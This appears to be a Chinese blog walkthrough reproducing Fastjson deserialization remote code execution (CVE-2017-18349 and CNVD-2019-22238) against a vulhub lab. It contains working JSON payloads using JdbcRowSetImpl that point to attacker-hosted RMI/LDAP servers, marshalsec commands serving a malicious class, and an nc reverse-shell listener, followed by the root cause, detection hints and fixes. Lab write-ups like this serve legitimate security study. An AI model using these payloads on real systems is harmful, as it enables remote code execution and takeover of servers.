04-Fastjson反序列化漏洞

免责声明

本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

1、Fastjson介绍

2、漏洞复现

2.1、1.2.24 RCE CVE-2017-18349

  1. vulhub启动靶场

    启动成功

  2. Kali 用marshalsec启动LDAP/RMI服务

  1. Kali 用python启动HTTP服务,存放恶意类

这是我们的恶意代码

在jdk的bin目录下编译恶意文件

可以通过访问看有没有启动成功

  1. Kali 用netcat监听端口,建立反弹连接
bash 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.5:8089/#LinuxTouch" 9473

5、发送payload

bash 复制代码
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 188

{ 

	"b": { 
			"@type": "com.sun.rowset.JdbcRowSetImpl", 
			"dataSourceName": "rmi://192.168.110.5:9473/LinuxTouch", 
			"autoCommit": true
	}
}

结果

先后连接成功


8090端口接收到了我们发送的payload并进行反序列化,然后去连接到了rmi://192.168.110.5:9473这个服务器,rmi服务器作为一个指路人去8089端口下载恶意文件

2.2、1.2.47 RCE CNVD-2019-22238

绕过原理

在1.2.47版本及以下的情况下,loadClass中默 认cache为true,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存 中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,即可绕过黑名单。

  1. 启动靶场
  2. kali启动监听
bash 复制代码
nc -lvp 9001
  1. Kali 用marshalsec启动LDAP/RMI服务
bash 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.110.5:8089/#LinuxRevers" 9473
  1. 恶意类,对其进行编译等等。跟上面步骤一样。
  2. 放入到对应文件夹中并启动http服务
  3. 发送payload
bash 复制代码
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 268

{
  "a":{
      "@type":"java.lang.Class", 
      "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{ 
      "@type":"com.sun.rowset.JdbcRowSetImpl", 
      "dataSourceName":"ldap://192.168.110.5:9473/LinuxRevers", 
      "autoCommit":true
  }
}

连接成功

3、漏洞原理

1、序列化字符准备类名、dataSourceName属性和autoCommit属性

2、JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()

3、setAutoCommit()调用connect()

3、connect()调用lookup()连接到LDAP/RMI服务器

4、下载恶意代码到本地,执行,攻击发生

4、漏洞挖掘思路

  1. 找到发送JSON序列化数据的接口
  2. 判断是否使用fastjon
    非法格式报错
    {"x":"

Burp 插件

https://github.com/zilong3033/fastjsonScan

5、漏洞修复

  1. 升级JDK
    6u211 / 7u201 / 8u191 /11.0.1
  2. 升级Fastjson到最新版
    fastjson.parser.safeMode=true
  3. 使用安全产品过滤非法内容
  4. 更换其它序列化工具
    Jackson/Gson
相关推荐
Chengbei113 小时前
DSH渗透测试插件dsh-pentest全新升级!适配DeepSeek Harness,可视化探索链路,一键搭建轻量化AI渗透测试环境。
人工智能·web安全·网络安全·微信·小程序·系统安全·安全架构
Latticy10 小时前
vulnhub系列靶机-mrRobot
web安全·网络安全·渗透测试
Broccoli5230266513 小时前
FastAPI 中间件
中间件·fastapi
白猫不黑14 小时前
网络安全/信息安全专业学习路线与入行指南:从大学到岗位的完整规划
网络·学习·安全·web安全·网络安全·黑客技术
xierui12312314 小时前
AI Agent 隐私架构:本地化重点为什么是登录态与执行权限
java·人工智能·网络安全·架构
Chockmans17 小时前
春秋云境CVE-2025-49113
安全·web安全·网络安全·网络攻击模型·安全威胁分析·春秋云境·cve-2025-49113
白猫不黑17 小时前
从运维到网络安全:转行优势、路径与薪资前景全解析
运维·网络·web安全·网络安全·信息安全·渗透测试
AI备忘录18 小时前
(十一)DHCP 配置命令五厂商对照:华为 华三 锐捷 迈普 思科
服务器·网络·网络协议·网络安全·华为
0xBADCODE18 小时前
Flask SSTI读SECRET_KEY+伪造Session:税务系统渗透全流程
前端·后端·python·安全·web安全·网络安全·flask
网安蟹佬霸1 天前
OSINT开源情报收集实战:从信息搜集到资产测绘(2026最新万字保姆级指南)
前端·网络·安全·web安全·网络安全·开源